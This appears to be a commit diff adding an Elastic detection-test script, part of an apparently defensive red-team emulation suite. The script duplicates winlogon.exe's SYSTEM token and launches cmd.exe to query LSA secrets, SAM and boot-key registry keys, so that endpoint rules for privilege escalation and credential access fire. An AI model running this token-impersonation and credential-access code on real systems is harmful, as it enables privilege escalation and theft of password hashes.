|
| 1 | +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one |
| 2 | +# or more contributor license agreements. Licensed under the Elastic License |
| 3 | +# 2.0; you may not use this file except in compliance with the Elastic License |
| 4 | +# 2.0. |
| 5 | + |
| 6 | +from . import common |
| 7 | +from . import RtaMetadata |
| 8 | + |
| 9 | + |
| 10 | + |
| 11 | +metadata = RtaMetadata( |
| 12 | + uuid="59329aa6-852a-44d0-9b24-322fe4fbdad0", |
| 13 | + platforms=["windows"], |
| 14 | + endpoint=[ |
| 15 | + {'rule_id': 'c5ee8453-bc89-42e7-a414-1ba4bec85119', 'rule_name': 'Suspicious Access to LSA Secrets Registry'}, |
| 16 | + {'rule.id': 'b6e8c090-f0ec-4c4c-af00-55ac2a9f9b41', 'rule_name': 'Security Account Manager (SAM) Registry Access'}, |
| 17 | + {'rule.id': '2afd9e7f-99e0-4a4d-a6e3-9e9db730f63b', 'rule_name': 'Privilege Escalation via EXTENDED STARTUPINFO'}, |
| 18 | + {'rule.id': '46de65b8-b873-4ae7-988d-12dcdc6fa605', 'rule_name': 'Potential Privilege Escalation via Token Impersonation'}, |
| 19 | + ], |
| 20 | + siem=[], |
| 21 | + techniques=["T1134", "T1003"], |
| 22 | +) |
| 23 | + |
| 24 | +@common.requires_os(metadata.platforms) |
| 25 | +def main(): |
| 26 | + import ctypes |
| 27 | + from ctypes import byref, windll, wintypes |
| 28 | + |
| 29 | + hprocess = wintypes.HANDLE() |
| 30 | + hsystem_token = wintypes.HANDLE() |
| 31 | + hsystem_token_dup = wintypes.HANDLE() |
| 32 | + |
| 33 | + PROCESS_QUERY_LIMITED_INFORMATION = 0x1000 |
| 34 | + TOKEN_IMPERSONATE = 0x00000004 |
| 35 | + TOKEN_DUPLICATE = 0x00000002 |
| 36 | + SecurityImpersonation = 0x2 |
| 37 | + TokenPrimary = 0x1 |
| 38 | + LOGON_WITH_PROFILE = 0x1 |
| 39 | + TOKEN_ALL_ACCESS = 0xf01ff |
| 40 | + LPBYTE = ctypes.POINTER(wintypes.BYTE) |
| 41 | + |
| 42 | + class PROCESS_INFORMATION(ctypes.Structure): |
| 43 | + _pack_ = 1 |
| 44 | + _fields_ = [ |
| 45 | + ('hProcess', wintypes.HANDLE), |
| 46 | + ('hThread', wintypes.HANDLE), |
| 47 | + ('dwProcessId', wintypes.DWORD), |
| 48 | + ('dwThreadId', wintypes.DWORD), |
| 49 | + ] |
| 50 | + |
| 51 | + class STARTUPINFO(ctypes.Structure): |
| 52 | + __slots__ = () |
| 53 | + _fields_ = (('cb', wintypes.DWORD), |
| 54 | + ('lpReserved', wintypes.LPWSTR), |
| 55 | + ('lpDesktop', wintypes.LPWSTR), |
| 56 | + ('lpTitle', wintypes.LPWSTR), |
| 57 | + ('dwX', wintypes.DWORD), |
| 58 | + ('dwY', wintypes.DWORD), |
| 59 | + ('dwXSize', wintypes.DWORD), |
| 60 | + ('dwYSize', wintypes.DWORD), |
| 61 | + ('dwXCountChars', wintypes.DWORD), |
| 62 | + ('dwYCountChars', wintypes.DWORD), |
| 63 | + ('dwFillAttribute', wintypes.DWORD), |
| 64 | + ('dwFlags', wintypes.DWORD), |
| 65 | + ('wShowWindow', wintypes.WORD), |
| 66 | + ('cbReserved2', wintypes.WORD), |
| 67 | + ('lpReserved2', LPBYTE), |
| 68 | + ('hStdInput', wintypes.HANDLE), |
| 69 | + ('hStdOutput', wintypes.HANDLE), |
| 70 | + ('hStdError', wintypes.HANDLE)) |
| 71 | + |
| 72 | + OpenProcess = windll.kernel32.OpenProcess |
| 73 | + OpenProcess.argtypes = [wintypes.DWORD, wintypes.BOOL, wintypes.DWORD] |
| 74 | + OpenProcess.restype = wintypes.HANDLE |
| 75 | + |
| 76 | + OpenProcessToken = windll.kernel32.OpenProcessToken |
| 77 | + OpenProcessToken.argtypes = [wintypes.HANDLE, wintypes.DWORD, wintypes.LPCVOID] |
| 78 | + OpenProcessToken.restype = wintypes.BOOL |
| 79 | + |
| 80 | + DuplicateTokenEx = windll.advapi32.DuplicateTokenEx |
| 81 | + DuplicateTokenEx.restype = wintypes.BOOL |
| 82 | + DuplicateTokenEx.argtypes = [ |
| 83 | + wintypes.HANDLE, # TokenHandle |
| 84 | + wintypes.DWORD, # dwDesiredAccess |
| 85 | + wintypes.LPCVOID, # lpTokenAttributes |
| 86 | + wintypes.DWORD, # ImpersonationLevel |
| 87 | + wintypes.DWORD, # TokenType |
| 88 | + wintypes.HANDLE, # phNewToken |
| 89 | + ] |
| 90 | + |
| 91 | + CreateProcessWithTokenW = windll.advapi32.CreateProcessWithTokenW |
| 92 | + CreateProcessWithTokenW.argtypes = [ |
| 93 | + wintypes.HANDLE, # hToken |
| 94 | + wintypes.DWORD, # dwLogonFlags |
| 95 | + wintypes.LPCWSTR, # lpApplicationName |
| 96 | + wintypes.LPCVOID, # lpCommandLine |
| 97 | + wintypes.DWORD, # dwCreationFlags |
| 98 | + wintypes.LPCVOID, # lpEnvironment |
| 99 | + wintypes.LPCVOID, # lpCurrentDirectory |
| 100 | + wintypes.LPCVOID, # lpStartupInfo |
| 101 | + wintypes.LPCVOID, # lpProcessInformation |
| 102 | + ] |
| 103 | + CreateProcessWithTokenW.restype = wintypes.BOOL |
| 104 | + |
| 105 | + CloseHandle = windll.kernel32.CloseHandle |
| 106 | + CloseHandle.argtypes = [wintypes.HANDLE] |
| 107 | + CloseHandle.restype = wintypes.BOOL |
| 108 | + |
| 109 | + # Duplicate winlogon.exe System Token |
| 110 | + hprocess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, 0, common.getppid("winlogon.exe")) |
| 111 | + OpenProcessToken(hprocess, TOKEN_DUPLICATE | TOKEN_IMPERSONATE, byref(hsystem_token)) |
| 112 | + DuplicateTokenEx(hsystem_token, TOKEN_ALL_ACCESS, 0, SecurityImpersonation, TokenPrimary, byref(hsystem_token_dup)) |
| 113 | + |
| 114 | + # create process with winlogon system token duplicate to query specific sensitive registry keys using reg.exe |
| 115 | + process_info = PROCESS_INFORMATION() |
| 116 | + startup_info = STARTUPINFO() |
| 117 | + cmdline = u" /c reg.exe query hklm\\security\\policy\\secrets && reg.exe query hklm\\SAM\\SAM\\Domains\\Account && reg.exe query hklm\\SYSTEM\\ControlSet001\\Control\\Lsa\\JD && reg.exe query hklm\\SYSTEM\\ControlSet001\\Control\\Lsa\\Skew1" |
| 118 | + res = CreateProcessWithTokenW(hsystem_token_dup, LOGON_WITH_PROFILE, u"C:\\Windows\\System32\\cmd.exe", cmdline, 0, 0, 0, byref(startup_info), byref (process_info)) |
| 119 | + |
| 120 | + # check process creation result |
| 121 | + if res == 1 : |
| 122 | + common.log("Executed RTA") |
| 123 | + else : |
| 124 | + common.log("Failed to execute RTA") |
| 125 | + |
| 126 | + # Close all the handles |
| 127 | + common.log("Closed all Handles") |
| 128 | + CloseHandle(hsystem_token_dup) |
| 129 | + CloseHandle(hsystem_token) |
| 130 | + CloseHandle(hprocess) |
| 131 | + |
| 132 | +if __name__ == "__main__": |
| 133 | + exit(main()) |
0 commit comments